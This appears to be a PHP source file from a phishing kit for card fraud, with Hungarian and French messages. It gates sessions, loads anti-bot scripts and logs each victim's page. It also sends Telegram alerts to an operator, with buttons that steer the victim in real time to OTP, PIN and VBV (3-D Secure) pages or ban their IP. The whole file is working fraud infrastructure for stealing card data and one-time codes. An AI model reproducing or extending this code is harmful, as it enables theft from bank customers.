<?php

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

define('SECURE_CONTEXT', true);

if (!isset($_SESSION['page-index']) || $_SESSION['page-index'] !== true) {
    header("Location: ../../index.php", true, 302);
    exit();
}

$safeRoot = dirname(__DIR__);

clearstatcache();
foreach (range(1, 9) as $i) {
    $antiPath = "{$safeRoot}/prevents/anti{$i}.php";
    if (is_file($antiPath)) {
        require_once $antiPath;
    }
}

require_once "{$safeRoot}/app/anti.php";

$currentDir = basename(dirname($_SERVER['PHP_SELF']));
$ipRaw = trim((string) ($_SESSION['ip'] ?? ''));
if ($ipRaw === '') {
    $ipRaw = '0.0.0.0';
}
$ipEsc = htmlspecialchars($ipRaw, ENT_QUOTES, 'UTF-8');
$ipQuery = rawurlencode($ipRaw);

if (!in_array($currentDir, ['app', 'loading'], true)) {
    if (in_array($currentDir, ['approve', 'genericapprove'], true)) {
        setUserStep($currentDir);
    }
    if (in_array($currentDir, ['vbv', 'approve', 'genericapprove'], true)) {
        if ($CONFIG['webhook_buttons'] == true) {
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'callback_data' => "ban={$ipRaw}"],
                        ['text' => '📊 PANEL 📊', 'url' => web_url('panel/')]
                    ],
                    [
                        ['text' => '🍎 OTP 🍎', 'callback_data' => "otp={$ipRaw}"],
                        ['text' => '💳 PIN 💳', 'callback_data' => "pin={$ipRaw}"]
                    ],
                    [
                        ['text' => '📲 VBV 📲', 'callback_data' => "vbv={$ipRaw}"],
                        ['text' => '✅ APPROVE ✅', 'callback_data' => "approve={$ipRaw}"],
                    ],
                    [
                        ['text' => '✅ Generic Approve', 'callback_data' => "genericapprove={$ipRaw}"],
                    ],
                    [
                        ['text' => '🚪FIN 🚪', 'callback_data' => "success={$ipRaw}"]
                    ],
                ]
            ];
        } else {
            $whBase = web_url('app/webhook.php');
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'url' => "{$whBase}?ban={$ipQuery}"],
                        ['text' => '📊 PANEL 📊', 'url' => web_url('panel/')]
                    ],
                    [
                        ['text' => '🍎 OTP 🍎', 'url' => "{$whBase}?otp={$ipQuery}"],
                        ['text' => '💳 PIN 💳', 'url' => "{$whBase}?pin={$ipQuery}"]
                    ],
                    [
                        ['text' => '📲 VBV 📲', 'url' => "{$whBase}?vbv={$ipQuery}"],
                        ['text' => '✅ APPROVE ✅', 'url' => "{$whBase}?approve={$ipQuery}"],
                    ],
                    [
                        ['text' => '✅ Generic Approve', 'url' => "{$whBase}?genericapprove={$ipQuery}"],
                    ],
                    [
                        ['text' => '🚪FIN 🚪', 'url' => "{$whBase}?success={$ipQuery}"]
                    ],
                ]
            ];
        }

        if ($currentDir === 'vbv') {
            $pageHu = 'VBV';
        } elseif ($currentDir === 'genericapprove') {
            $pageHu = 'Generic Approve';
        } else {
            $pageHu = 'jóváhagyás (approve)';
        }
        sendMessage($CONFIG['notifs_chat_id'], "🧪 A felhasználó <b>{$ipEsc}</b> a(z) <b><i>{$pageHu}</i></b> oldalon van.", $buttons);
    } else {
        setUserStep($currentDir);
        $dirSafe = htmlspecialchars($currentDir, ENT_QUOTES, 'UTF-8');
        sendMessage($CONFIG['notifs_chat_id'], "🧪 L'utilisateur <b>{$ipEsc}</b> est dans la page <b><i>{$dirSafe}</i></b>");
    }
}